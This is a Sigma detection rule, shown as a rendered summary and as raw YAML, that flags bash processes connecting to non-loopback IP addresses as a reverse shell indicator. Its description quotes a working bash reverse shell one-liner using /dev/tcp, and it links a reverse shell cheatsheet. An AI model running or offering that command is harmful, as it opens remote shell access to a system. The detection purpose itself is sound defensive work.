Linux Reverse Shell Indicator
Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1')
Detection logic
selection
Image|endswith: /bin/bashfilter
DestinationIp:
- 127.0.0.1
- 0.0.0.0Condition
selection and not filterRaw YAML
title: Linux Reverse Shell Indicator
id: 83dcd9f6-9ca8-4af7-a16e-a1c7a6b51871
status: test
description: Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1')
references:
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/d9921e370b7c668ee8cc42d09b1932c1b98fa9dc/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
author: Florian Roth (Nextron Systems)
date: 2021-10-16
modified: 2022-12-25
tags:
- attack.execution
- attack.t1059.004
logsource:
product: linux
category: network_connection
detection:
selection:
Image|endswith: '/bin/bash'
filter:
DestinationIp:
- '127.0.0.1'
- '0.0.0.0'
condition: selection and not filter
falsepositives:
- Unknown
level: criticalFalse positives
- Unknown